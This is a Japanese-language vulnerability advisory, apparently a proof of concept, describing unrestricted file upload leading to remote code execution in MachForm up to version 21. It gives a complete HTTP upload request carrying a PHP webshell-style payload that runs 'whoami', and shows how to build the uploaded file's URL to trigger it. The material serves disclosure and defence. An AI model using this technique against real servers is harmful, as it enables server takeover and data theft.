
MachFormバージョン21までの認証済み無制限ファイルアップロードによるリモートコード実行の概念実証エクスプロイト。詳細なリクエスト例と悪用手順を含みます。
MachForm バージョン21までが、認証された制限のないファイルアップロードの影響を受け、リモートコード実行に繋がります。
このアプリケーションは、ファイルアップロード機能を備えたフォーム作成の可能性を提供します。デフォルトでは許可されるファイルは一般的な安全なサブセットに制限されていますが、フォーム作成者は許可される追加の形式を指定することもできます。
フォーム作成権限を持つユーザーが、”PHP”形式を許可したファイルアップロード機能付きのフォームを作成した場合、認証されていない任意のユーザーがこのフォームを悪用してリモートコード実行を得ることができます。
この脆弱性を悪用するには、ファイルアップロード機能が有効で、”PHP”拡張子がホワイトリストに登録されているフォームが必要です。

この前提条件が満たされると、認証されていない任意のユーザーがフォームに移動してファイルアップロードの脆弱性を悪用できます。
フォームにアップロードされたファイルのうち、まだフォーム内で送信されていないものは、所定のディレクトリに .tmp 形式でWebサーバーにアップロードされます。

リクエスト:
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
アップロードされたファイルの完全なパスは、必要なフィールドをすべて含むアップロードリクエストを使用して構築できます。
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
このシナリオでは、アップロードされたファイルのURLは次のようになります。
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

リモートコード実行を取得すると、ターゲットサーバー上で直接操作が可能となり、アプリケーションの範囲を超えたアクセスを取得でき、機密情報の読み取りやコアコンポーネントの変更/削除が可能になります。